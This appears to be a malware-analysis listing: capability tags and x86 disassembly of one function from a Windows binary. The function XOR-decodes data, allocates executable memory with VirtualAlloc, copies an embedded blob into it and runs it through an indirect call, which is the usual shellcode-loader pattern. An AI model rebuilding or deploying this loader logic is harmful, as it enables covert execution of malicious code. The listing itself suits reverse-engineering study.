Function at 0x10006770
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp byte [0x1000d433], 0
movq xmm0, qword [str.VW_T]
mov eax, dword [0x1000d430]
push esi
push edi
mov edi, dword [0x10010670]
movq qword [ebp - 0x10], xmm0
mov dword [ebp - 8], eax
je 0x100068cf
xor ecx, ecx
cmp edi, 2
jl 0x100068a2
movaps xmm2, xmmword [0x1000d470]
mov ecx, 8
movaps xmm3, xmmword [0x1000d4c0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1000d490]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x1000d480]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1000d4a0]
movd xmm0, dword [str.VW_T]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.5555555555555555]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x10], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1000d490]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1000d4a0]
movd xmm0, dword [ebp - 0xc]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.5555555555555555]
xorps xmm1, xmm0
movd dword [ebp - 0xc], xmm1
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, al
shl dl, 3
sub dl, al
mov al, cl
shl dl, 3
sub al, dl
add al, 0x35
xor byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, 0xc
jl 0x100068a2
lea eax, [ebp - 0x10]
push eax
call fcn.100054f0
add esp, 4
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp byte [0x1000d34b], 0
mov esi, eax
movups xmm0, xmmword [str.slavaukraineslavaukraineslavaukraineslavaukraineslavaukraine97b]
mov ecx, dword [0x1000d348]
mov dword [ebp - 4], ecx
movups xmmword [esi], xmm0
movups xmm0, xmmword [0x1000d308]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [0x1000d318]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [0x1000d328]
movups xmmword [esi + 0x30], xmm0
je 0x100069ee
push ebx
xor ebx, ebx
cmp edi, 2
jl 0x100069c0
movaps xmm3, xmmword [0x1000d470]
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1000d4c0]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1000d4c0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movaps xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1000d490]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x1000d4a0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.5555555555555555]
movd xmm0, ecx
xorps xmm1, xmm0
movd dword [ebp - 4], xmm1
jmp 0x100069ed
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov cl, al
shl cl, 3
sub cl, al
mov al, bl
shl cl, 3
sub al, cl
add al, 0x35
xor byte [ebp + ebx - 4], al
inc ebx
cmp ebx, 4
jl 0x100069c0
pop ebx
lea eax, [ebp - 4]
push eax
call fcn.100054f0
add esp, 4
mov eax, 0x3542178b
push esi
push 1
push 0x35200000
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret